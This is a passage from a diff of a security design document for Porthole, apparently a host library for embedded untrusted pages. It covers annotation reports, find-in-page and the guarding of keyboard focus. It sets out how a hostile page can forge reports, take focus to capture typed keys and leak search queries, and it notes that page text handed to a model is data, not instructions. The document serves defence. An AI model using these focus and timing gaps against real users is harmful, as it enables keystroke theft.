- out of every label everything a person can't see (every format character, bidi controls and
922
- zero-width ones among them, every default-ignorable code point, variation selector, tag,
923
- private-use character and control: P105, with none of P100's exceptions for emoji and shaped
924
- letters, whose surroundings a page can fake), so what it shows is what it has. A text
925
- anchor's quote (`exact`) keeps them, to be found again: a host that hands a quote or a label to
926
- a model hands it the page's words, to be read as that, never as instructions.
927
- - *Boxes.* Every box a report carries (`selected`, `activated`, `anchored`) is the page's word.
928
- Porthole clamps each to the frame's viewport as it is when the report arrives, before the host
929
- hears it: the part inside is kept, and a box wholly outside becomes one of no size on the
930
- nearest edge (control `annotation-rect-clamp`). So a page can't make the host place its own UI
931
- over the rest of the app. It still chooses any point inside its own frame: a box is a
932
- positioning hint, never a fact about the content. The box is in the frame's own CSS px, its
933
- layout size: a host that scales or transforms the frame (a thumbnail, a zoomed preview) maps the
934
- box through that transform before placing anything by it. A platform's `viewport()` that answers
935
- no size, or throws, clamps every box to nothing at the frame's corner (P105). The frame's size is
936
- read for every report the host takes, before the report's rate: a forced layout of the host's
937
- page per message, which a repeated `ui/initialize` already causes (accepted, P105).
938
- A newer shell also says where each mark is in the document (`documentRect` in `anchored` and
939
- `tracked`, with the document's `scroll`, P132), so a host can place a mark scrolled out of the
940
- frame. Porthole checks those numbers (finite, within `ANNOTATION_LIMITS.coordinate`, sizes not
941
- negative; a malformed one drops the report) but doesn't clamp them, since a clamp would erase
942
- what they are for: a host that maps a `documentRect` onto its own page without clipping to the
943
- frame's box (or to its own region beside it) lets the page choose where that UI goes, outside
944
- the frame as well (accepted, P132; the host's duty in §6). They say nothing else: the page knows
945
- where its words are anyway. Where a selection or a mark's words end (`lastLineDocumentRect` in
946
- `selected`, `anchored` and `tracked`, P133) is one more such box, read, checked and left unclamped
947
- the same way, with the same duty; `selected` also carries `scroll` now. A report with a last line
948
- and no `scroll` is dropped (P137), as a malformed part drops one. A followed selection's reports
949
- (`selectionTracked`, P138) are the same boxes, checked and clamped the same way, taken only while
950
- the host follows the selection and within `tracked`'s 60 a second (control
951
- `track-selection-checks`); their `inView` is false unless the box reaches the frame's viewport as
952
- the host reads it. They carry nothing of the page's words; a host that follows no selection
953
- drops them unread, so a malformed one is no refusal either (P140). The page reads the host's word
954
- that starts and ends the following, so it learns when a composer is open on its selection, as it
955
- learns which card is open from `track` (P112): end it on every close, kept or dismissed. The
956
- outline the frame draws over what was picked, or over the followed selection, is in the shell's
957
- layer, a closed shadow root that takes no pointer: the page can't read it, and its clicks reach
958
- the page as before. What the frame keeps for a follow (a reference to the element picked, or a
959
- copy of the selected range) is not in that layer: it is held in the shell's own script, in
960
- memory, in a variable no page script can name. It is the page's own DOM all the same (the
961
- element is the page's, and the range's copy moves with the page's nodes), so it tells the page
962
- nothing it can't read itself, and the page can change or remove what it points at, which is
963
- `orphaned`. In 0.14.15 every host's frame kept both after a pick, the outline until the next
964
- pick or selection, `clearSelection`, `start`, `stop`, `clear`, Escape or the element leaving the
965
- page, and the kept selection until the next `selected`; since P140 only a host that follows the
966
- selection (`track({ selection: true })`) or said at `start` that it will (`keepSelection`) gets
967
- them, and any other host's frame draws and keeps nothing after a pick, as in 0.14.14. The page
968
- reads `keepSelection` in every `start`, so it learns at each one that the host will follow the
969
- selection: before any pick, and earlier than the first `track` would tell it. That is a property
970
- of the host's UI, not of anything the person did or wrote.
971
- - *What holds, against content that patches none of the DOM's or JavaScript's built-ins.* A real
972
- press or click on a marker reaches none of the content's handlers (the shell's first listener
973
- stops it; control `marker-click`) and moves neither focus nor a selection (control
974
- `marker-prevent`), so content can't act on it or cancel it; nor can it read or reach inside the
975
- shell's layer (a closed shadow root). Content can still tell that a marker was pressed, and
976
- roughly where: the pointer leaving its own element names the layer, the layer matches `:hover`
977
- and `:active`, and the frame gets user activation. On touch (P119), a marker is also the
978
- 44 by 44 px box around its bubble, drawn in that same layer: a tap there is a press on the
979
- marker, with the same checks (a trusted click, the main button, on the layer), so the content
980
- loses a tap within 13 px of a bubble (a few px of its words above and below it), as it loses
981
- one on the bubble. Which pointer is used is read from trusted pointer events only; a page that
982
- makes its own up changes nothing, and a real `activated` still needs a real click.
983
- - *The keyboard on a marker* (P133, reversing P104's point 6). A marker is a button with a tab
984
- stop. Enter and Space on it are stopped in the shell's first listener, as a press is (control
985
- `marker-key`), and the click they make is a trusted one the content doesn't get (`marker-click`):
986
- it can neither hear nor cancel them. Every other key on a marker is the page's, as on a button of
987
- its own, Tab too. So what P104 feared stands, and is accepted: the markers join a focus order the
988
- content controls. It can take the focus from a marker (`focus()` from any handler or timer), keep
989
- the person from reaching one (a trap on Tab in its own elements), draw its own look-alike with
990
- its own tab stop, and tell that the person is on one (`document.activeElement` is the layer, its
991
- own element's `focusout` names it). None of that gives it what it lacks: a marker's press has no
992
- power but `activated`, which it can fake anyway within the host's checks, keys go to a marker only
993
- while the frame has the focus, so nothing typed in the host passes through it (P109 is unchanged),
994
- and a page's made-up key or `click()` is no trusted click. Assistive technology now reads the
995
- marker's name, the page's own words after the shell's, in quotes that bound nothing (P134: a
996
- text anchor's `label`, an element's quote, or what follows the tag in its `label`). A host can't
997
- rely on a marker being reached, as it can't on one being seen: its own list of marks is the
998
- keyboard way that holds.
999
- - *Which input made an `activated`* (P134). The report doesn't say, and a field saying so would be
1000
- the page's word. A host reads its own page instead, as the report arrives: is the frame element
1001
- `document.activeElement`? The page can't fake that reading, and that is all it gets. It tells that
1002
- the focus is in the frame, not that a key was pressed: a pointer's click after the person was
1003
- in the frame reads the same, and the page can move the focus into its frame itself, from anywhere
1004
- but one of the host's text fields (the guard lets that be, P109). **The page can still forge
1005
- `activated` while the person really is in the frame, and this signal doesn't stop that.** A host
1006
- that moves the keyboard into its view on the signal takes §6's second exception, with its
1007
- conditions: a page can put the person's next keys in that view, and keeping those keys from posting
1008
- is the host's own gate on that view's controls and on its shortcuts, not Porthole's.
1009
- - *Back to a marker* (P134). `annotations.focusMark(id)` is the host's word to the frame
1010
- (`porthole/annotate.focusMark`, `{ id }`), for one moment only: after the keyboard closed the host's
1011
- own view of that mark, by Escape or by a Tab past its first or last control. No content goes with it, beyond an id the frame has, and nothing comes back. The
1012
- shell moves the focus through the platform's `focus` as it was before content ran (control
1013
- `marker-focus`: a page that replaced it is handed the marker otherwise); with no such marker it does
1014
- nothing. The page reads the message, so it learns a card closed, and can take the focus back at once
1015
- or forge the message and focus a marker itself, which gives it nothing a fake `activated` doesn't:
1016
- a host can't rely on the focus landing. To the focus guard the move is the frame's own, so from a
1017
- host's text field that still has focus it is undone and counted (P109), not passed as the host's:
1018
- no window was opened in the guard for it.
1019
- A word that has to wait while the frame finds its marks is up to a second old when it could land
1020
- (P135). A word the shell doesn't park can be as old: the frame takes it when its thread is free, a
1021
- busy page changes nothing the shell can see, and a frame out of process doesn't stop the host's
1022
- page meanwhile (P137). A marker's `focus()` takes the keyboard with no gesture on Chromium and
1023
- WebKit, past a guard that defends only text fields: a person gone on to a host's button would be
1024
- pulled back. So the shell drops a parked word unless the focus is in its document as it lands, and
1025
- a word older than 100 ms unless the focus is there as it comes, by `hasFocus` as it was before
1026
- content ran (control `marker-has-focus`: a page that replaced it to say yes gets the landing
1027
- otherwise; `marker-late` takes the first test out, `marker-busy` the second). A word's age is the
1028
- shell's `Date.now` as it was before content ran, less the stamp `createHost` put on it as it was
1029
- sent (`at`): one machine's wall clock (control `marker-clock`: a page that stopped its own clock
1030
- makes a late word look fresh otherwise). A word with no stamp, from an older host, is old. A fresh
1031
- word isn't asked: the frame has no focus then on the very path it is for. That leaves a person who
1032
- moves on within those 100 ms, faster than a person does, and a page that forges the whole word with
1033
- a fresh stamp, or rewrites a real word as it arrives, as it can forge the word at all, which gives it nothing (P134). A page
1034
- can really take the focus and so pass the test, which gives it nothing, since it then has the
1035
- keyboard; and a word that passes it can still move the focus off the page's own field onto a marker,
1036
- inside the frame. §6 has the host's side: a second `focusMark` after its own `display.focus()`.
1037
- The word is a message, so from the host's close until the frame moves, the focus rests on the host's
1038
- body. A forged `activated` in that gap finds no frame focused, so a host that gates a view on "the
1039
- frame had the focus" doesn't gate that one. That is accepted, on the host's side of the wall: such
1040
- a view takes no focus and keeps keys out until the focus has reached the frame (in Raft, content
1041
- inert for 500 ms, and the focus handed back to the frame within 150 ms if the marker didn't take
1042
- it, with `focusMark` again after it, P135), so the keys go to the page and nothing is written.
1043
- - *What doesn't hold against content that does.* The shell shares the content's realm. It reads
1044
- and stops a marker's press through the platform's own functions and getters, kept before
1045
- content runs (P105, control `marker-originals`), so patching `Event`'s or `MouseEvent`'s
1046
- prototypes no longer lets content hear a press or make the shell misread one. But the layer's
1047
- nodes pass through built-ins content can replace (the shell's insertion guards call
1048
- `Element.prototype.matches` on them), so content can reach the closed shadow root that way,
1049
- read the markers and rewrite them (the review of P104, on all three engines). Nothing in the
1050
- layer is secret: it holds only what `show` sent, which the content can read anyway.
1051
- - *Clearing the selection* (P115). `annotations.clearSelection()` is the host's word to the frame
1052
- (`porthole/annotate.clearSelection`), with nothing back: the shell takes the page's selection
1053
- away through `Selection.prototype.removeAllRanges` as it was before content ran (control
1054
- `clear-selection`: a page that replaced it keeps its selection otherwise) and forgets the one it
1055
- told, so the clear makes no `unselected` or `selected`. It goes host to frame only: the host
1056
- takes no such message from a frame, and the shell takes it only from its frame's parent (a page
1057
- that posts it to its own window is dropped). It gives the page no power it lacks: a page can
1058
- clear or select its own text at any time, and can select the words again right after a clear
1059
- (the host hears that as any selection, while it asked for text). But the page sees the clear
1060
- (the message, and a `selectionchange` with no press of its own) and so learns when the person
1061
- was done with its selection (P121, after the audit of P115). A host that clears only when a
1062
- draft is added tells the page that a draft exists on its words, and when: clear when the
1063
- composer opens, or on every close, kept or dismissed, or leave it to the person's next click,
1064
- never only on a draft, above all for a page `mayPassOn` says to keep drafts from (ADOPTING.md
1065
- § Annotations).
1066
- - *What content can always do.* Hide, shrink, move or cover the layer (its scripts can rewrite the
1067
- layer's style, lay elements over it, or transform the page it sits in), change its words so a
1068
- mark is orphaned, or flood the shared rate so real reports are refused. It can also make the
1069
- shell's own work dear by its layout: finding marks again and placing markers after a change of
1070
- the content runs in the frame, once per quiet run of changes, and each marker in view is placed
1071
- by a bounded number of hit tests (measured with 300 marks with counts in view: about 20 ms a
1072
- change; 200 in a 3,000-line block: 25 to 50 ms; P105). In an opaque frame that shares the host's
1073
- process, that time is the host's too ([§5](#5-out-of-scope)). An honest page's
1074
- follow-up reports, of the marks (while one has a marker) and of the person's selection after a
1075
- scroll, share one clock: at most one a second together, each only when its box moved (P105).
1076
- - So `activated` opens the host's own view of a mark it already shows, placed within the frame's
1077
- box (better: beside it), guarded as §6 says, and never acts on it (no post, submit, discard,
1078
- resolve, delete or reply); an anchor or a rect decides where something is drawn, never who may
1079
- see or do anything.
1080
-
1081
- **Find in page** (`find`, P131). The host draws its own find bar; the shell finds the query in the
1082
- content's text (annotations' text index) and highlights the matches in a layer of its own (a closed
1083
- shadow root, as annotations' marks; never the CSS Custom Highlight API, which is the content's to
1084
- read and rewrite). It shares its realm with the content, so:
1085
-
1086
- - *What content learns.* The query (`porthole/find.query`, posted into the frame's window), each
1087
- time the host sends it (a bar that searches as the person types sends their typing, key by key),
1088
- whether it is case-sensitive, each move to the next or previous match, when the bar clears, and
1089
- whether the host draws its own bar (`porthole/find.handled`). The query is the person's words,
1090
- typed in the host's own UI: a page with a way out (an MCP App's `connectDomains`, S5; egress a
1091
- host opened; a carrier such as `db`, `mayPassOn`) can send what the person searched for to its
1092
- author. That is why `find` is a capability a config declares, in no preset by default; accepted
1093
- by the product owner, with hosts sending queries on a pause or Enter rather than at every key
1094
- (P131). A query holds only for the content it was asked of: a new run or other content forgets
1095
- it, so another page is never searched with it (it would learn the words from what matched).
1096
- - *What content can say.* Any count and current match (bounded: at most 1,000, whole numbers, the
1097
- current one among them), any box inside its frame (clamped to the frame's viewport, as
1098
- annotations' boxes, P104), and an `updated` while a query is shown. The host takes an answer only
1099
- for a query it asked, under that query's id; anything malformed is `"unsupported"` or a refusal.
1100
- A find bar's numbers, never a fact about the content.
1101
- - *The shortcut.* While the host draws its own bar (`find.takeShortcut(true)`), the shell cancels
1102
- the browser's find on Cmd+F (Apple) or Ctrl+F (elsewhere) in the frame and says `requested`; a
1103
- page that handles the key itself keeps it. The page can say `requested` without the key, or keep
1104
- the key from the shell. The host takes it only while the platform says the page's focus is in
1105
- the frame (a press on it or a Tab put it there, P109; control `find-requested-focus`): a page
1106
- can't open the host's bar, which takes focus, while the person types in the host's composer, so
1107
- their next keys can't be steered into the bar and from there into the frame as queries. With the
1108
- person already in the frame the page has their keys anyway, and the bar moves the keyboard out of
1109
- it. Where a platform can't tell, it passes, as the gesture gate does. Open the bar, nothing more.
1110
- - *What content can always do.* Hide, cover or move the layer, change its words so the count
1111
- changes, reach the layer through built-ins it patched (as annotations' layer, P105), or make the
1112
- search dear: linear in its text, at most 1,000 matches kept and 10,000 looked at, a query of 256
1113
- characters, found again at most once a second while the content changes, and of a burst of
1114
- queries only the latest searched (the others answered superseded); in an opaque frame that
1115
- shares the host's process that time is the host's too ([§5](#5-out-of-scope)).
1116
-
1117
- **The keyboard** (P109). Any display, of any kind and any version, can move the keyboard into its
1118
- frame: `element.focus()` runs in the content's realm, where nothing of Porthole can stop it, and on
1119
- Chromium and WebKit it needs no gesture. What the person goes on typing then goes to the page,
1120
- which can keep it (`db`) or send it out through any egress it has. The page knows when it matters:
1121
- its shell reports `selected` when the host opens a composer on it, and draft marks (P107) say
1122
- where the person is writing. P107 and P108 didn't make this possible; they put the person's
1123
- unposted words beside the frame and tell the page when.
1124
-
1125
- - *What holds* (the web platform's focus guard, in every `createHost` display): when focus leaves
1126
- one of the host page's text fields (a text area, an `<input>` that takes text, an editable region,
1127
- in open shadow roots too) for a display's frame, and the person didn't move it there, focus goes
1128
- back to the field once the engine has finished the move, the guard watches that it stays there
1129
- (a page that takes it again on its own blur, which the take-back fires, is caught, as is focus
1130
- left on nothing), and the display hears `focusTaken`. Three such moves within 10 s that came while
1131
- the person typed or that kept focus from staying back, or five within 2 s, stop the display. The
1132
- person moved it if they pressed Tab just before; pressed the frame (on Chromium and WebKit the
1133
- frame element is `:active` as focus moves; on Firefox, which doesn't blur the window or show the
1134
- press, the pointer came over the frame after the field got focus and after the person last
1135
- typed); made a gesture the host's own events don't explain (the page has activation, but no
1136
- key, press or click of its own for longer than activation lasts, and the field has had focus that
1137
- long: a press or an assistive technology's activation in a frame); or the host moved it
1138
- (`display.focus()`).
1139
- Measured on all three engines: a page calling `focus()` every 700 ms down to a busy loop, or
1140
- taking focus back on its own blur, while the person types a sentence gets no key of it on
1141
- Chromium and WebKit and at most one on Firefox before it is stopped or gives up (negative
1142
- controls `focus-guard`, and `focus-guard-watch` on Firefox); a press on the page's own field, a
1143
- Tab into the frame, and an activation in the frame that sends the host no event keep the
1144
- keyboard there. `comments.open` needs that focus in the calling frame, moved there by the
1145
- person, and not just after a press on the host's page (the app runtime, below).
1146
- - *What doesn't*: a page gets the keys typed before focus is back (on Firefox, the keys of an
1147
- animation frame: one in a sentence, measured on a slowed machine too; a few more can be lost to
1148
- nothing while a take-back is fought, and the composer then has focus again); on Firefox a host's plain
1149
- `focus()` doesn't move focus from a frame that holds it with the person's gesture and takes it
1150
- back on its blur (no focus event: the keys go to the frame), so a composer that opens focused
1151
- must use `focusField`; on Firefox a page keeps the keyboard if the pointer came over its frame after
1152
- the person last typed and after the field got focus (a person who typed, moved the pointer over
1153
- the frame, and types on without clicking); moves between two frames, or from what isn't a text
1154
- field, aren't judged (a frame beside another: S7); and a platform of the host's own has no guard
1155
- unless it implements one. The guard can take a person's own move for the page's (a press on
1156
- Firefox with the pointer resting over the frame since before the field got focus; an assistive
1157
- technology's activation within 5 s of their key or press on the page): focus goes back, and
1158
- their next press once the pointer has left the frame and come back, a Tab, or an activation 5 s
1159
- later keeps it.
1160
- - *Full Chromium* (P111, measured on Chromium 153, not the headless shell): a cross-site frame is
1161
- out of process, and the host's page sees nothing of a press in it (no `:active`, no `:hover`, no
1162
- pointer event past the frame's edge). For a served page that isn't nested, a person's real click
1163
- into its field is taken back every time there (the display stopped at the third), and
1164
- `comments.open` from a real click is refused within 5 s of any input on the host's page
1165
- (porthole#53). Nest it.
1166
- - *A nested page* (P111, P120, P122): the guard asks the page's shell, a realm the page can't
1167
- reach above its frame, whose transient activation turns on only from a press or key in the page
1168
- (activation goes up, never down). A move into the frame is the person's if the shell's
1169
- activation turned on within the last second and the host's page had no trusted press or key
1170
- since; or a Tab, the host's own move, or a press the engine shows on the frame element. Nothing
1171
- else counts as a press: no pointer over the frame, no host-wide activation. A move the shell
1172
- hasn't spoken of yet waits for its word at most 500 ms (the host asks it to look at once,
1173
- `porthole/shell/look`), then is taken back. The shell passes a focus on to the page by the host's
1174
- word (`porthole/shell/focus`, P136), which only `display.focus()` sends and no page can say. A key the person types into the page turns its
1175
- activation on as a press does, so (P120, after the audit of P111's guard, NG-1): where the
1176
- host's page sees the pointer over its frames (Firefox; Chromium and WebKit where the frame is in
1177
- their process, once the pointer has been over one), an activation while the pointer isn't over
1178
- the frame, within a second of the person typing on the host's page, is no press; and in a fight
1179
- over a text field (a take-back, or the person leaving a frame that took focus itself), a frame
1180
- that takes focus again is judged as any frame is, its shell not asked: taken back at once and
1181
- counted, and an activation it reports then is no one's gesture until it lapses, for
1182
- `comments.open` too. Measured on full Chromium, the headless shell, WebKit and Firefox
1183
- (`leak/served/nested.spec.ts`): a real click into the page's field keeps the keyboard; the
1184
- page's `focus()` as it loads, on a timer while the person types, right after a click on the
1185
- host's own button, 1.2 to 4.5 s after the person paused typing, and 700 ms after they pressed it
1186
- and went back to the composer is taken back; a page that holds the keyboard from its load, or
1187
- takes it while the person types, and takes it back on its own blur gets at most two keys of a
1188
- sentence on Firefox and is stopped (none on Chromium, where a page can't take focus back on its
1189
- blur), and its `comments.open` on a key it got reaches no handler on Firefox and full Chromium
1190
- (on Chromium with frames in process it can: below); what a page says in the shell's name, to its
1191
- parent or to the host's window, moves nothing (negative controls `shell-namespace`,
1192
- `shell-host-input`, `pointer-rule`, `nested-fight`). A press in the page within 5 s of the last
1193
- gesture turns no activation on; the page's runtime tells the shell each real press instead
1194
- (P148), over a port no content holds, and the host takes a press told as it takes an activation
1195
- turning on: for a second, with no press or key on the host's page since, not in a fight, not
1196
- within 250 ms of the person's key, not within 500 ms of a stall of the shell. A press is the
1197
- browser's own event alone (a mouse down; a finger or pen up, so a scroll is none; Enter or Space,
1198
- not held, on a native control that isn't editable, by its tag and never its `role`; a click on
1199
- one, but none while a key is down, nor a form's own for Enter in a field); nothing a page
1200
- dispatches is one, and
1201
- nothing a page does gets it the port (`leak/served/nested-press.spec.ts`; negative controls
1202
- `press-untrusted`, `press-role`, `press-editable`, `press-repeat`, `press-key-click`,
1203
- `press-submit`,
1204
- `press-touch-down`, `press-port-heard`, `press-port-forged`, `press-open-lock`,
1205
- `press-still-here`, `press-host-input`). *What doesn't*: a key on a control that isn't native
1206
- (a `div` with `role="button"`) tells nothing, so a move into the page by it within 5 s of the
1207
- last gesture is still taken back, until they Tab in; so is any press where the runtime couldn't
1208
- install its part; the page gets the keys typed while a move waits for the shell's word, or
1209
- before focus is back. No press of the person's comes within 250 ms of a key they typed on the host's page (a
1210
- hand goes from the keys to the pointer first): a move into the frame, or the shell's activation
1211
- turning on, that soon is their next key landing in the page, and is taken back, on every engine
1212
- (P122, after CI saw full Chromium let such a page keep the keyboard: its key outran the shell's
1213
- answer; negative control `key-press`). So a page that takes the keyboard while the person types
1214
- is taken back whatever the timing. *Still*: on full Chromium, where neither the host's page nor
1215
- the shell sees the pointer over the page, a key typed more than 250 ms after the person's last
1216
- one that reaches the page before the shell answers the host's ask (the time a message takes
1217
- between processes) is taken for a press, and the page keeps the keyboard and its `comments.open`
1218
- opens; and so, more often, where Chromium keeps the page's frames in the host's process (the
1219
- headless shell; a person's Chrome without full site isolation, Chrome on Android) until the
1220
- host's page has seen the pointer over one of the page's frames, since the page's input runs
1221
- before the ask there (measured in P122's review on the headless shell: a person typing one key
1222
- every 450 ms lost 34 of 36 keys to the page in 1 run of 8, and the page was not stopped). 0.13 took such a move back; a person typing slower than one key in 250 ms
1223
- is the case left, and only a key that lands within that message's time of the page's move
1224
- (P122); a press back into the page within 300 ms of a fight putting focus in the host's field is
1225
- taken back on full Chromium; where the pointer is seen, an assistive technology's activation in
1226
- the page within a second of typing on the host's page with the pointer elsewhere is taken back
1227
- (a Tab, or one a second later, keeps it); a shell without `navigator.userActivation` leaves
1228
- 0.13's rule. A page that holds the thread it shares with its shell (WebKit; Firefox and Chromium
1229
- where the frames share a process) from its own click handler would push the moment the shell
1230
- sees its activation past the person's next keys on the host's page: so the shell looks and beats
1231
- every 50 ms and says how long it went without a look, and an activation it reports after a stall
1232
- of over 100 ms (its own, or no word heard) is no one's gesture until it lapses (P111, after its
1233
- review; negative control `shell-stall`). The cost: in those engines a page that keeps its thread
1234
- busy has the person's real click taken for uncertain until it is idle.
676
+ `activated` for any mark shown with a marker (a count, or a draft) with no click and any box;
677
+ look-alike markers, or its own elements over Porthole's. The host takes a report only for what it
678
+ asked and ids it shows, rebuilt within `ANNOTATION_LIMITS`, at 120 a minute, and drops `activated`
679
+ for a mark without a marker or an id it doesn't show. No gesture is asked (P149; the host page's
680
+ activation lasts 5 s after any gesture, so a timed fake would pass anyway): a page can open the
681
+ host's view of a shown mark at any moment, under the person's pointer. The guard on that view (§6)
682
+ is the defence.
683
+ - *Labels.* An anchor's `label` is the page's text, maybe words the person never sees (`alt`,
684
+ `aria-label`, `title`). The host strips from every label what a person can't see: format, bidi and
685
+ zero-width characters, default-ignorable code points, variation selectors, tags, private-use
686
+ characters and controls (P105, without P100's exceptions for emoji and shaped letters). A text
687
+ anchor's quote (`exact`) keeps them, to be found again. A quote or label handed to a model is the
688
+ page's words, never instructions.
689
+ - *Boxes* (`selected`, `activated`, `anchored`) are the page's word, clamped to the frame's viewport
690
+ before the host hears them: the part inside is kept; a box wholly outside becomes one of no size
691
+ on the nearest edge; a platform `viewport()` that answers no size, or throws, clamps every box to
692
+ one of no size at the frame's corner. The page can't place the host's UI over the rest of the app,
693
+ but picks any point in its frame: a positioning hint, never a fact. Boxes are in the frame's CSS
694
+ px; a host that scales or transforms the frame maps them through that transform. Reading the
695
+ frame's size per report, before the rate, forces a layout of the host's page per message, as a
696
+ repeated `ui/initialize` already does (accepted, P105).
697
+ - *Places in the document* (P132, P133, P137, P150). `documentRect`, `lastLineDocumentRect` and an
698
+ element pick's `pointDocument`, with the report's `scroll`, are checked (finite, within
699
+ `ANNOTATION_LIMITS.coordinate`, sizes not negative; a malformed one, a last line or a point without
700
+ `scroll`, or a point on a text selection, drops the report) but not clamped (a clamp would erase
701
+ their purpose): the page chooses where the host's UI goes, outside the frame too (accepted; the
702
+ host clips, §6). They reveal nothing else.
703
+ - *A followed selection* (P138, P140). `selectionTracked` boxes are checked and clamped likewise,
704
+ taken only while the host follows the selection (otherwise dropped unread, without a refusal),
705
+ within `tracked`'s 60 a second, and carry none of the page's words; `inView` is false unless the
706
+ box reaches the frame's viewport as the host reads it. The page reads the host's word starting and
707
+ ending the following, and `keepSelection` in every `start`: it learns when a composer is open on
708
+ its selection (as `track` tells it which card is open, P112) and, before any pick, that the host
709
+ will follow one. End the following on every close, kept or dismissed. The follow is drawn in the
710
+ shell's closed layer, which takes no pointer; what is kept (the element picked, a copy of the
711
+ range) is the page's own DOM, which tells it nothing new and which it can remove (`orphaned`). For
712
+ a host that neither follows nor said `keepSelection`, the frame draws and keeps nothing after a
713
+ pick.
714
+ - *A press on a marker*, against content that patches no built-in, reaches none of the content's
715
+ handlers and moves neither focus nor a selection: content can't act on it or cancel it. Content
716
+ can't read or reach inside the layer, but can tell a marker was pressed, and roughly where
717
+ (`:hover`, `:active`, the pointer leaving its element, the frame's activation). On touch (P119) a
718
+ marker takes a 44 by 44 px box around its bubble, so content loses a tap within 13 px of one. The
719
+ pointer type is read from trusted events only, and a real `activated` needs a trusted click.
720
+ Content that patches built-ins still can't hear a press or make the shell misread one (P105), but
721
+ can reach the closed layer through `Element.prototype.matches`, and read and rewrite the markers.
722
+ Nothing there is secret: the layer holds only what `show` sent.
723
+ - *The keyboard on a marker* (P133). A marker is a button with a tab stop. Enter and Space on it are
724
+ stopped before the content and make a trusted click the content doesn't get; every other key, Tab
725
+ too, is the page's. So markers join a focus order the content controls (accepted, reversing P104's
726
+ point 6): it can take the focus from a marker, keep the person from reaching one, draw a
727
+ look-alike, and tell that the person is on one. That gains it nothing: a marker's press only makes
728
+ `activated`, which it can fake anyway; keys reach a marker only while the frame has the focus,
729
+ never from the host; its own key events or `click()` make no trusted click. Assistive technology
730
+ reads the page's words in a marker's name, in quotes that bound nothing (P134). A host can't rely
731
+ on a marker being reached: its own list of marks is the keyboard way that holds.
732
+ - *Which input made an `activated`* (P134): the report doesn't say. The host's
733
+ `document.activeElement`, which the page can't fake, says only that the focus is in the frame,
734
+ where the page can put it itself. **The page can still forge `activated` while the person really
735
+ is in the frame**: moving the keyboard into a view on this signal is §6's second exception, its
736
+ gate keeping the next keys from posting.
737
+ - *Back to a marker* (P134, P135, P137). The page reads `focusMark` (an id it has; nothing comes
738
+ back), so it learns a card closed; it can take the focus back or forge the word, gaining nothing a
739
+ fake `activated` doesn't, and a host can't rely on the focus landing. The shell drops a late word
740
+ unless the focus is in the frame (§6), checked through built-ins kept before content ran, so a
741
+ word can't pull back a person gone on to a host's button. Accepted: a person who moves on within
742
+ 100 ms; a page that forges a fresh word or takes the focus itself (it then has the keyboard
743
+ anyway); a word moving the focus from the page's own field onto a marker; and a forged `activated`
744
+ between the host's close and the frame's move, while the focus is on the host's body, which finds
745
+ no frame focused, so a view gated on "the frame had the focus" isn't gated by it. That view takes no focus and keeps keys out until the
746
+ focus reaches the frame, so the keys go to the page and nothing is written.
747
+ - *Clearing the selection* (P115, P121). `clearSelection` goes host to frame only; nothing comes
748
+ back. It adds no power (the page can clear or select its own text at any time, and reselect right
749
+ after a clear), but the page sees it, so it learns when the person was done with its selection.
750
+ Clear when the composer opens, on every close, or leave it to the person's next click; never only
751
+ when a draft is added, which tells the page a draft exists there, and when (above all for a page
752
+ `mayPassOn` says to keep drafts from).
753
+ - *What content can always do.* Hide, shrink, move or cover the layer; change its words so a mark is
754
+ orphaned; flood the shared rate so real reports are refused; make the shell's work dear by its
755
+ layout. Marks are found again and markers placed after each quiet run of changes, with a bounded
756
+ number of hit tests per marker in view (300 marks with counts in view: about 20 ms a change; 200
757
+ in a 3,000-line block: 25 to 50 ms; P105); in an opaque frame in the host's process that is the
758
+ host's time too ([§5](#5-out-of-scope)). An honest page's follow-up reports share one clock: at
759
+ most one a second, each only when its box moved.
760
+ - **So** `activated` opens the host's own view of a mark it already shows, within the frame's box
761
+ (better: beside it), guarded as §6 says, and never acts on it (no post, submit, discard, resolve,
762
+ delete or reply). An anchor or a rect decides where something is drawn, never who may see or do
763
+ anything.
764
+
765
+ **Find in page** (`find`, P131). The host draws its own find bar; the shell finds and highlights
766
+ matches in a closed layer of its own, in the content's realm (how: [DESIGN.md](DESIGN.md) § Find in
767
+ page).
768
+
769
+ - *What content learns.* Each query the host sends (a bar that searches as the person types sends
770
+ their typing, key by key), whether it is case-sensitive, each move between matches, when the bar
771
+ clears, and whether the host draws its own bar. Queries are the person's words: a page with a way
772
+ out (`connectDomains`, S5; egress a host opened; a carrier such as `db`, `mayPassOn`) can send
773
+ them to its author. So `find` is declared, in no preset by default, and hosts send queries on a
774
+ pause or Enter, not at every key (accepted by the product owner). A query is forgotten on a new
775
+ run or other content, so another page never learns it from what matched.
776
+ - *What content can say.* Any count and current match (at most 1,000, whole numbers, the current one
777
+ among them), any box in its frame (clamped as annotations' are), and an `updated` while a query is
778
+ shown. The host takes an answer only for a query it asked, under its id; anything malformed is
779
+ `"unsupported"` or a refusal. These are a find bar's numbers, never facts.
780
+ - *The shortcut.* While the host takes it (`find.takeShortcut(true)`), the shell cancels the
781
+ browser's find on Cmd+F or Ctrl+F and says `requested`; a page that handles the key keeps it, and
782
+ a page can say `requested` without it. The host takes `requested` only while the platform says the
783
+ page's focus is in the frame, so a page without the keyboard can't open the host's bar (which
784
+ takes focus) while the person types in the host's composer, and steer their next keys into
785
+ queries. That holds where a page can't take the keyboard by itself (Firefox, without a gesture);
786
+ on Chromium and WebKit a page can take it first, and then has the keys anyway. A real press is
787
+ always in the frame, so the rule refuses none; where a platform can't tell, it passes.
788
+ - *What content can always do.* Hide, cover or move the layer; change its words so the count
789
+ changes; reach the layer through patched built-ins; make the search dear (linear in its text; at
790
+ most 1,000 matches kept and 10,000 looked at; queries of 256 characters; found again at most once
791
+ a second while the content changes; of a burst, only the latest searched). In an opaque frame in
792
+ the host's process that is the host's time too ([§5](#5-out-of-scope)).
793
+
794
+ **The keyboard** (P109, P123, P149; the accepted risk in §5, the host's side in §6). Content can
795
+ move focus into its frame (`element.focus()` and the like) while the person types in the host's
796
+ page. Nothing of Porthole's can stop that in the content's realm, and on Chromium and WebKit it
797
+ needs no gesture. The page gets the keys typed until the person sees their text stop appearing and
798
+ clicks back, and can keep them (`db`) or send them out through any egress it has; `selected` (a
799
+ composer opened on it) and draft marks (where the person is writing) tell it when they matter.
800
+ Browsers give a host no way to prevent the move or tell it from the person's own click into the
801
+ frame: the host's page sees no press inside a cross-site frame on full Chromium or Firefox. A guard
802
+ could only guess, and its guesses refused people's own clicks while a page could still pass for the
803
+ person, so Porthole has none, and nothing gives the keyboard back. What holds: content can't read
804
+ the host's page, its storage or another display, or move focus into a field of the host's, and gets
805
+ no key typed while the focus is in the host's page: only keys typed after its move and before the
806
